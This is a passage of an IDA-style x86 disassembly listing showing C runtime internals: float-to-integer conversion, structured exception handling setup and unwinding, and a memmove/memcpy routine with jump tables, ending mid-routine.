; [00000001 BYTES: COLLAPSED FUNCTION nullsub_2. PRESS KEYPAD "+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================



sub_41D13C	proc near		; CODE XREF: sub_41D124p
		mov	eax, offset sub_422540
		mov	off_43D434, offset sub_4221D5
		mov	off_43D430, eax
		mov	off_43D438, offset sub_42223B
		mov	off_43D43C, offset sub_42217B
		mov	off_43D440, offset sub_422223
		mov	off_43D444, eax
		retn
sub_41D13C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D174	proc near		; CODE XREF: sub_40D2F4+1Bp
					; sub_40D2F4+44p ...

var_C		= qword	ptr -0Ch
var_4		= word ptr -4
var_2		= word ptr -2

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF4h
		fstcw	[ebp+var_2]
		wait
		mov	ax, [ebp+var_2]
		or	ah, 0Ch
		mov	[ebp+var_4], ax
		fldcw	[ebp+var_4]
		fistp	[ebp+var_C]
		fldcw	[ebp+var_2]
		mov	eax, dword ptr [ebp+var_C]
		mov	edx, dword ptr [ebp+var_C+4]
		leave
		retn
sub_41D174	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_41D19B(double)

sub_41D19B	proc near		; CODE XREF: sub_40D340+82p

var_24		= qword	ptr -24h
var_18		= qword	ptr -18h
var_8		= qword	ptr -8
arg_0		= qword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		mov	esi, 0FFFFh
		push	esi
		push	dword_43AE38
		call	sub_422089
		fld	[ebp+arg_0]
		pop	ecx
		mov	ebx, eax
		mov	eax, dword ptr [ebp+arg_0+6]
		pop	ecx
		push	ecx
		and	ax, 7FF0h
		push	ecx
		cmp	ax, 7FF0h
		fstp	[esp+18h+var_18]
		jnz	short loc_41D221
		call	sub_421F51
		pop	ecx
		test	eax, eax
		pop	ecx
		jle	short loc_41D204
		cmp	eax, 2
		jle	short loc_41D1F6
		cmp	eax, 3
		jnz	short loc_41D204
		fld	[ebp+arg_0]
		push	ebx
		push	ecx		; int
		push	ecx
		fstp	qword ptr [esp]
		push	0Ch		; double
		call	sub_421861
		add	esp, 10h
		jmp	short loc_41D266
; ---------------------------------------------------------------------------


loc_41D1F6:				; CODE XREF: sub_41D19B+3Fj
		push	esi
		push	ebx
		call	sub_422089
		fld	[ebp+arg_0]
		pop	ecx
		pop	ecx
		jmp	short loc_41D266
; ---------------------------------------------------------------------------


loc_41D204:				; CODE XREF: sub_41D19B+3Aj
					; sub_41D19B+44j
		fld	[ebp+arg_0]
		fadd	dbl_4276F8
		push	ebx
		push	ecx		; double
		push	ecx
		fstp	qword ptr [esp]
		fld	[ebp+arg_0]
		push	ecx
		push	ecx
		fstp	[esp+24h+var_24]
		push	0Ch
		push	8
		jmp	short loc_41D25E
; ---------------------------------------------------------------------------


loc_41D221:				; CODE XREF: sub_41D19B+2Fj
		call	sub_421F16
		fstp	[ebp+var_8]
		fld	[ebp+var_8]
		fcomp	[ebp+arg_0]
		pop	ecx
		pop	ecx
		fnstsw	ax
		sahf
		jnz	short loc_41D244


loc_41D236:				; CODE XREF: sub_41D19B+ACj
		push	esi
		push	ebx
		call	sub_422089
		fld	[ebp+var_8]
		pop	ecx
		pop	ecx
		jmp	short loc_41D266
; ---------------------------------------------------------------------------


loc_41D244:				; CODE XREF: sub_41D19B+99j
		test	bl, 20h
		jnz	short loc_41D236
		fld	[ebp+var_8]
		push	ebx		; int
		push	ecx
		push	ecx		; double
		fstp	qword ptr [esp]
		fld	[ebp+arg_0]
		push	ecx
		push	ecx		; double
		fstp	[esp+24h+var_24]
		push	0Ch		; int
		push	10h		; int


loc_41D25E:				; CODE XREF: sub_41D19B+84j
		call	sub_4218B4
		add	esp, 1Ch


loc_41D266:				; CODE XREF: sub_41D19B+59j
					; sub_41D19B+67j ...
		pop	esi
		pop	ebx
		leave
		retn
sub_41D19B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D26A	proc near		; CODE XREF: ___:00422A22p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_4]
		add	eax, 0Ch
		mov	[ebp+var_4], eax
		mov	ebx, large fs:0
		mov	eax, [ebx]
		mov	large fs:0, eax
		mov	eax, [ebp+arg_0]
		mov	ebx, [ebp+arg_4]
		mov	esp, [ebx-4]
		mov	ebp, [ebp+var_4]
		jmp	eax
sub_41D26A	endp

; ---------------------------------------------------------------------------
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	8

; =============== S U B	R O U T	I N E =======================================



sub_41D29E	proc near		; CODE XREF: sub_422B62+199p
					; sub_422D26+3Ep

arg_4		= dword	ptr  8

		pop	eax
		pop	ecx
		xchg	eax, [esp-8+arg_4]
		jmp	eax
sub_41D29E	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_41D2A5	proc near		; CODE XREF: sub_422B62+17Fp

arg_4		= dword	ptr  8

		pop	eax
		pop	ecx
		xchg	eax, [esp-8+arg_4]
		jmp	eax
sub_41D2A5	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame


sub_41D2AC	proc near		; CODE XREF: sub_41D45E+5Cp
					; sub_4229B1:loc_4229E2p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	eax, large fs:0
		mov	[ebp+var_8], eax
		mov	[ebp+var_4], offset loc_41D2D4
		push	0
		push	[ebp+arg_4]
		push	[ebp+var_4]
		push	[ebp+arg_0]
		call	sub_426356
sub_41D2AC	endp

; ---------------------------------------------------------------------------


loc_41D2D4:				; DATA XREF: sub_41D2AC+11o
		mov	eax, [ebp+0Ch]
		mov	eax, [eax+4]
		and	al, 0FDh
		mov	ecx, [ebp+0Ch]
		mov	[ecx+4], eax
		mov	eax, large fs:0
		mov	ebx, [ebp-8]
		mov	[ebx], eax
		mov	large fs:0, ebx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	8
; ---------------------------------------------------------------------------


loc_41D2FB:				; CODE XREF: ___:00426AACj
					; ___:00426AC9j ...
		push	ebp
		mov	ebp, esp
		sub	esp, 4
		push	ebx
		push	esi
		push	edi
		cld
		mov	[ebp-4], eax
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	dword ptr [ebp-4]
		push	dword ptr [ebp+14h]
		push	dword ptr [ebp+10h]
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+8]
		call	sub_4225B6
		add	esp, 20h
		mov	[ebp+14h], eax
		pop	edi
		pop	esi
		pop	ebx
		mov	eax, [ebp+14h]
		mov	esp, ebp
		pop	ebp
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D331	proc near		; CODE XREF: sub_422A2C+73p

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		mov	eax, [ebp+arg_4]
		and	[ebp+var_14], 0
		mov	ecx, [ebp+arg_0]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+arg_C]
		mov	[ebp+var_10], offset sub_41D385
		inc	eax
		mov	[ebp+var_8], ecx
		mov	[ebp+var_4], eax
		mov	eax, large fs:0
		mov	[ebp+var_14], eax
		lea	eax, [ebp+var_14]
		mov	large fs:0, eax
		push	[ebp+arg_10]
		push	ecx
		push	[ebp+arg_8]
		call	sub_422DB0
		mov	ecx, eax
		mov	eax, [ebp+var_14]
		mov	large fs:0, eax
		mov	eax, ecx
		leave
		retn
sub_41D331	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D385	proc near		; DATA XREF: sub_41D331+16o

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		cld
		mov	eax, [ebp+arg_4]
		push	0
		push	eax
		push	dword ptr [eax+10h]
		push	dword ptr [eax+8]
		push	0
		push	[ebp+arg_8]
		push	dword ptr [eax+0Ch]
		push	[ebp+arg_0]
		call	sub_4225B6
		add	esp, 20h
		pop	ebp
		retn
sub_41D385	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D3AA	proc near		; CODE XREF: sub_4227F8+25p

var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		sub	esp, 34h
		push	ebx
		push	esi
		push	edi
		and	[ebp+var_28], 0
		mov	[ebp+var_24], offset sub_41D45E
		mov	eax, [ebp+arg_10]
		mov	[ebp+var_20], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_1C], eax
		mov	eax, [ebp+arg_14]
		mov	[ebp+var_18], eax
		mov	eax, [ebp+arg_18]
		mov	[ebp+var_14], eax
		and	[ebp+var_10], 0
		and	[ebp+var_C], 0
		and	[ebp+var_8], 0
		and	[ebp+var_4], 0
		mov	[ebp+var_10], offset loc_41D430
		mov	[ebp+var_C], esp
		mov	[ebp+var_8], ebp
		mov	eax, large fs:0
		mov	[ebp+var_28], eax
		lea	eax, [ebp+var_28]
		mov	large fs:0, eax
		mov	[ebp+var_34], 1
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_30], eax
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_2C], eax
		lea	eax, [ebp+var_30]
		push	eax
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax]
		call	dword_4DBE80
		pop	ecx
		pop	ecx
		and	[ebp+var_34], 0


loc_41D430:				; DATA XREF: sub_41D3AA+3Co
		cmp	[ebp+var_4], 0
		jz	short loc_41D44D
		mov	ebx, large fs:0
		mov	eax, [ebx]
		mov	ebx, [ebp+var_28]
		mov	[ebx], eax
		mov	large fs:0, ebx
		jmp	short loc_41D456
; ---------------------------------------------------------------------------


loc_41D44D:				; CODE XREF: sub_41D3AA+8Aj
		mov	eax, [ebp+var_28]
		mov	large fs:0, eax


loc_41D456:				; CODE XREF: sub_41D3AA+A1j
		mov	eax, [ebp+var_34]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41D3AA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D45E	proc near		; DATA XREF: sub_41D3AA+Do

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		cld
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+4]
		and	eax, 66h
		test	eax, eax
		jz	short loc_41D481
		mov	eax, [ebp+arg_4]
		mov	dword ptr [eax+24h], 1
		push	1
		pop	eax
		jmp	short loc_41D4CE
; ---------------------------------------------------------------------------


loc_41D481:				; CODE XREF: sub_41D45E+12j
		push	1
		mov	eax, [ebp+arg_4]
		push	dword ptr [eax+14h]
		mov	eax, [ebp+arg_4]
		push	dword ptr [eax+10h]
		mov	eax, [ebp+arg_4]
		push	dword ptr [eax+8]
		push	0
		push	[ebp+arg_8]
		mov	eax, [ebp+arg_4]
		push	dword ptr [eax+0Ch]
		push	[ebp+arg_0]
		call	sub_4225B6
		add	esp, 20h
		mov	eax, [ebp+arg_4]
		cmp	dword ptr [eax+24h], 0
		jnz	short loc_41D4BF
		push	[ebp+arg_0]
		push	[ebp+arg_4]
		call	sub_41D2AC
; ---------------------------------------------------------------------------


loc_41D4BF:				; CODE XREF: sub_41D45E+54j
		mov	ebx, [ebp+arg_4]
		mov	esp, [ebx+1Ch]
		mov	ebp, [ebx+20h]
		jmp	dword ptr [ebx+18h]
; ---------------------------------------------------------------------------
		push	1
		pop	eax


loc_41D4CE:				; CODE XREF: sub_41D45E+21j
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_41D45E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D4D3	proc near		; CODE XREF: sub_422651+C6p
					; sub_4227F8+43p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		cmp	[ebp+arg_4], 0
		push	edi
		mov	edi, [ebp+arg_0]
		mov	esi, [edi+0Ch]
		mov	ebx, [edi+10h]
		mov	eax, esi
		mov	[ebp+arg_0], esi
		mov	[ebp+var_4], eax
		jl	short loc_41D52A


loc_41D4F1:				; CODE XREF: sub_41D4D3+52j
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_41D4FB
		call	sub_422E52


loc_41D4FB:				; CODE XREF: sub_41D4D3+21j
		mov	ecx, [ebp+arg_8]
		dec	esi
		lea	eax, [esi+esi*4]
		cmp	[ebx+eax*4+4], ecx
		lea	eax, [ebx+eax*4]
		jge	short loc_41D510
		cmp	ecx, [eax+8]
		jle	short loc_41D515


loc_41D510:				; CODE XREF: sub_41D4D3+36j
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_41D521


loc_41D515:				; CODE XREF: sub_41D4D3+3Bj
		mov	eax, [ebp+arg_0]
		dec	[ebp+arg_4]
		mov	[ebp+var_4], eax
		mov	[ebp+arg_0], esi


loc_41D521:				; CODE XREF: sub_41D4D3+40j
		cmp	[ebp+arg_4], 0
		jge	short loc_41D4F1
		mov	eax, [ebp+var_4]


loc_41D52A:				; CODE XREF: sub_41D4D3+1Cj
		mov	ecx, [ebp+arg_C]
		inc	esi
		mov	[ecx], esi
		mov	ecx, [ebp+arg_10]
		mov	[ecx], eax
		cmp	eax, [edi+0Ch]
		ja	short loc_41D53E
		cmp	esi, eax
		jbe	short loc_41D543


loc_41D53E:				; CODE XREF: sub_41D4D3+65j
		call	sub_422E52


loc_41D543:				; CODE XREF: sub_41D4D3+69j
		lea	eax, [esi+esi*4]
		pop	edi
		pop	esi
		lea	eax, [ebx+eax*4]
		pop	ebx
		leave
		retn
sub_41D4D3	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame


sub_41D550	proc near		; CODE XREF: sub_423CC0+5Ap

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		push	ebp
		push	0
		push	0
		push	offset sub_41D568
		push	[ebp+arg_0]
		call	sub_426356
sub_41D550	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D568	proc near		; DATA XREF: sub_41D550+Bo
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_41D568	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_41D570	proc near		; DATA XREF: sub_41D592+Ao
					; sub_41D5FA+9o

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_C		= dword	ptr  10h

		mov	ecx, [esp+arg_0]
		test	dword ptr [ecx+4], 6
		mov	eax, 1
		jz	short locret_41D591
		mov	eax, [esp+arg_4]
		mov	edx, [esp+arg_C]
		mov	[edx], eax
		mov	eax, 3

locret_41D591:				; CODE XREF: sub_41D570+10j
		retn
sub_41D570	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D592	proc near		; CODE XREF: sub_422AD2+Dp
					; sub_423CC0+67p ...

var_14		= dword	ptr -14h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		push	esi
		push	edi
		mov	eax, [esp+0Ch+arg_0]
		push	eax
		push	0FFFFFFFEh
		push	offset sub_41D570
		push	large dword ptr	fs:0
		mov	large fs:0, esp


loc_41D5AF:				; CODE XREF: sub_41D592:loc_41D5EAj
		mov	eax, [esp+1Ch+arg_0]
		mov	ebx, [eax+8]
		mov	esi, [eax+0Ch]
		cmp	esi, 0FFFFFFFFh
		jz	short loc_41D5EC
		cmp	esi, [esp+1Ch+arg_4]
		jz	short loc_41D5EC
		lea	esi, [esi+esi*2]
		mov	ecx, [ebx+esi*4]
		mov	[esp+1Ch+var_14], ecx
		mov	[eax+0Ch], ecx
		cmp	dword ptr [ebx+esi*4+4], 0
		jnz	short loc_41D5EA
		push	101h
		mov	eax, [ebx+esi*4+8]
		call	sub_41D626
		call	dword ptr [ebx+esi*4+8]


loc_41D5EA:				; CODE XREF: sub_41D592+44j
		jmp	short loc_41D5AF
; ---------------------------------------------------------------------------


loc_41D5EC:				; CODE XREF: sub_41D592+2Aj
					; sub_41D592+30j
		pop	large dword ptr	fs:0
		add	esp, 0Ch
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_41D592	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D5FA	proc near		; CODE XREF: sub_422AF2+37p
		xor	eax, eax
		mov	ecx, large fs:0
		cmp	dword ptr [ecx+4], offset sub_41D570
		jnz	short locret_41D61C
		mov	edx, [ecx+0Ch]
		mov	edx, [edx+0Ch]
		cmp	[ecx+8], edx
		jnz	short locret_41D61C
		mov	eax, 1

locret_41D61C:				; CODE XREF: sub_41D5FA+10j
					; sub_41D5FA+1Bj
		retn
sub_41D5FA	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D61D	proc near		; CODE XREF: sub_422DB0+1Ep
					; sub_422DB0+40p
		push	ebx
		push	ecx
		mov	ebx, offset dword_43AE3C
		jmp	short loc_41D630
sub_41D61D	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D626	proc near		; CODE XREF: sub_41D592+4Fp
					; sub_423CC0+78p
		push	ebx
		push	ecx
		mov	ebx, offset dword_43AE3C
		mov	ecx, [ebp+8]


loc_41D630:				; CODE XREF: sub_41D61D+7j
		mov	[ebx+8], ecx
		mov	[ebx+4], eax
		mov	[ebx+0Ch], ebp
		pop	ecx
		pop	ebx
		retn	4
sub_41D626	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41D640	proc near		; CODE XREF: sub_40D340+5p
					; sub_40D4E2+5p ...
		push	0FFFFFFFFh
		push	eax
		mov	eax, large fs:0
		push	eax
		mov	eax, [esp+0Ch]
		mov	large fs:0, esp
		mov	[esp+0Ch], ebp
		lea	ebp, [esp+0Ch]
		push	eax
		retn
sub_41D640	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_41D65F	proc near		; CODE XREF: sub_40D977+26p
					; ___:004260F2p ...

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	sub_41BA91
		pop	ecx
		retn
sub_41D65F	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D670	proc near		; CODE XREF: sub_40D9E8+3Ap
					; sub_41E742+2EFp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		mov	esi, [ebp+arg_4]
		mov	ecx, [ebp+arg_8]
		mov	edi, [ebp+arg_0]
		mov	eax, ecx
		mov	edx, ecx
		add	eax, esi
		cmp	edi, esi
		jbe	short loc_41D690
		cmp	edi, eax
		jb	loc_41D808


loc_41D690:				; CODE XREF: sub_41D670+16j
		test	edi, 3
		jnz	short loc_41D6AC
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_41D6CC
		rep movsd
		jmp	off_41D7B8[edx*4]
; ---------------------------------------------------------------------------


loc_41D6AC:				; CODE XREF: sub_41D670+26j
		mov	eax, edi
		mov	edx, 3
		sub	ecx, 4
		jb	short loc_41D6C4
		and	eax, 3
		add	ecx, eax
		jmp	dword ptr loc_41D6CC+4[eax*4]
; ---------------------------------------------------------------------------


loc_41D6C4:				; CODE XREF: sub_41D670+46j
		jmp	dword ptr loc_41D7C8[ecx*4]
; ---------------------------------------------------------------------------
		align 4


loc_41D6CC:				; CODE XREF: sub_41D670+31j
					; sub_41D670+8Ej ...
		jmp	off_41D74C[ecx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_41D6E0
		dd offset loc_41D70C
		dd offset loc_41D730
; ---------------------------------------------------------------------------


loc_41D6E0:				; DATA XREF: sub_41D670+64o
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		add	esi, 3
		add	edi, 3
		cmp	ecx, 8
		jb	short loc_41D6CC
		rep movsd
		jmp	off_41D7B8[edx*4]
; ---------------------------------------------------------------------------
		align 4


loc_41D70C:				; DATA XREF: sub_41D670+68o
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		add	esi, 2
		add	edi, 2
		cmp	ecx, 8
		jb	short loc_41D6CC
		rep movsd
		jmp	off_41D7B8[edx*4]
; ---------------------------------------------------------------------------
		align 10h


loc_41D730:				; DATA XREF: sub_41D670+6Co
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		inc	esi
		shr	ecx, 2
		inc	edi
		cmp	ecx, 8
		jb	short loc_41D6CC
		rep movsd
		jmp	off_41D7B8[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_41D74C	dd offset loc_41D7AF	; DATA XREF: sub_41D670:loc_41D6CCr
		dd offset loc_41D79C
		dd offset loc_41D794
		dd offset loc_41D78C
		dd offset loc_41D784
		dd offset loc_41D77C
		dd offset loc_41D774
		dd offset loc_41D76C
; ---------------------------------------------------------------------------


loc_41D76C:				; CODE XREF: sub_41D670:loc_41D6CCj
					; DATA XREF: sub_41D670+F8o
		mov	eax, [esi+ecx*4-1Ch]
		mov	[edi+ecx*4-1Ch], eax


loc_41D774:				; CODE XREF: sub_41D670:loc_41D6CCj
					; DATA XREF: sub_41D670+F4o
		mov	eax, [esi+ecx*4-18h]
		mov	[edi+ecx*4-18h], eax


loc_41D77C:				; CODE XREF: sub_41D670:loc_41D6CCj
					; DATA XREF: sub_41D670+F0o
		mov	eax, [esi+ecx*4-14h]
		mov	[edi+ecx*4-14h], eax


loc_41D784:				; CODE XREF: sub_41D670:loc_41D6CCj
					; DATA XREF: sub_41D670+ECo
		mov	eax, [esi+ecx*4-10h]
		mov	[edi+ecx*4-10h], eax


loc_41D78C:				; CODE XREF: sub_41D670:loc_41D6CCj
					; DATA XREF: sub_41D670+E8o
		mov	eax, [esi+ecx*4-0Ch]
		mov	[edi+ecx*4-0Ch], eax


loc_41D794:				; CODE XREF: sub_41D670:loc_41D6CCj
					; DATA XREF: sub_41D670+E4o
		mov	eax, [esi+ecx*4-8]
		mov	[edi+ecx*4-8], eax


loc_41D79C:				; CODE XREF: sub_41D670:loc_41D6CCj
					; DATA XREF: sub_41D670+E0o
		mov	eax, [esi+ecx*4-4]
		mov	[edi+ecx*4-4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax


loc_41D7AF:				; CODE XREF: sub_41D670:loc_41D6CCj
					; DATA XREF: sub_41D670:off_41D74Co
		jmp	off_41D7B8[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_41D7B8	dd offset loc_41D7C8	; DATA XREF: sub_41D670+35r
					; sub_41D670+92r ...
		dd offset loc_41D7D0
		dd offset loc_41D7DC
		dd offset loc_41D7F0
; ---------------------------------------------------------------------------


loc_41D7C8:				; CODE XREF: sub_41D670+35j
					; sub_41D670+92j ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h


loc_41D7D0:				; CODE XREF: sub_41D670+35j
					; sub_41D670+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41D7DC:				; CODE XREF: sub_41D670+35j
					; sub_41D670+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h


loc_41D7F0:				; CODE XREF: sub_41D670+35j
					; sub_41D670+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41D808:				; CODE XREF: sub_41D670+1Aj
		lea	esi, [ecx+esi-4]
		lea	edi, [ecx+edi-4]
		test	edi, 3
		jnz	short loc_41D83C
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_41D830
		std
		rep movsd
		cld
		jmp	off_41D950[edx*4]
; ---------------------------------------------------------------------------
		align 10h


loc_41D830:				; CODE XREF: sub_41D670+1B1j
					; sub_41D670+208j ...
		neg	ecx
		jmp	off_41D900[ecx*4]
; ---------------------------------------------------------------------------
		align 4


loc_41D83C:				; CODE XREF: sub_41D670+1A6j
		mov	eax, edi
		mov	edx, 3
		cmp	ecx, 4
		jb	short loc_41D854
		and	eax, 3
		sub	ecx, eax
		jmp	dword ptr loc_41D854+4[eax*4]
; ---------------------------------------------------------------------------


loc_41D854:				; CODE XREF: sub_41D670+1D6j
					; DATA XREF: sub_41D670+1DDr
		jmp	off_41D950[ecx*4]
; ---------------------------------------------------------------------------
		align 4
		push	880041D8h
		fadd	dword ptr [ecx+0]
		mov	al, 0D8h
		inc	ecx
		add	[edx-2EDCFCBAh], cl
		mov	[edi+3], al
		dec	esi
		shr	ecx, 2
		dec	edi
		cmp	ecx, 8
		jb	short loc_41D830
		std
		rep movsd
		cld
		jmp	off_41D950[edx*4]
; ---------------------------------------------------------------------------
		align 4
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		sub	esi, 2
		sub	edi, 2
		cmp	ecx, 8
		jb	short loc_41D830
		std
		rep movsd
		cld
		jmp	off_41D950[edx*4]
; ---------------------------------------------------------------------------
		align 10h
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		sub	esi, 3
		sub	edi, 3
		cmp	ecx, 8
		jb	loc_41D830
		std
		rep movsd
		cld
		jmp	off_41D950[edx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_41D904
		dd offset loc_41D90C
		dd offset loc_41D914
		dd offset loc_41D91C
		dd offset loc_41D924
		dd offset loc_41D92C
		dd offset loc_41D934
off_41D900	dd offset loc_41D947	; DATA XREF: sub_41D670+1C2r
; ---------------------------------------------------------------------------


loc_41D904:				; DATA XREF: sub_41D670+274o
		mov	eax, [esi+ecx*4+1Ch]
		mov	[edi+ecx*4+1Ch], eax


loc_41D90C:				; DATA XREF: sub_41D670+278o
		mov	eax, [esi+ecx*4+18h]
		mov	[edi+ecx*4+18h], eax


loc_41D914:				; DATA XREF: sub_41D670+27Co
		mov	eax, [esi+ecx*4+14h]
		mov	[edi+ecx*4+14h], eax


loc_41D91C:				; DATA XREF: sub_41D670+280o
		mov	eax, [esi+ecx*4+10h]
		mov	[edi+ecx*4+10h], eax


loc_41D924:				; DATA XREF: sub_41D670+284o
		mov	eax, [esi+ecx*4+0Ch]
		mov	[edi+ecx*4+0Ch], eax


loc_41D92C:				; DATA XREF: sub_41D670+288o
		mov	eax, [esi+ecx*4+8]
		mov	[edi+ecx*4+8], eax


loc_41D934:				; DATA XREF: sub_41D670+28Co
		mov	eax, [esi+ecx*4+4]
		mov	[edi+ecx*4+4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax


loc_41D947:				; CODE XREF: sub_41D670+1C2j
					; DATA XREF: sub_41D670:off_41D900o
		jmp	off_41D950[edx*4]
; ---------------------------------------------------------------------------
		align 10h
off_41D950	dd offset loc_41D960	; DATA XREF: sub_41D670+1B7r
					; sub_41D670:loc_41D854r ...
		dd offset loc_41D968
		dd offset loc_41D978
		dd offset loc_41D98C
; ---------------------------------------------------------------------------


loc_41D960:				; CODE XREF: sub_41D670+1B7j
					; sub_41D670:loc_41D854j ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41D968:				; CODE XREF: sub_41D670+1B7j
					; sub_41D670:loc_41D854j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41D978:				; CODE XREF: sub_41D670+1B7j
					; sub_41D670:loc_41D854j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
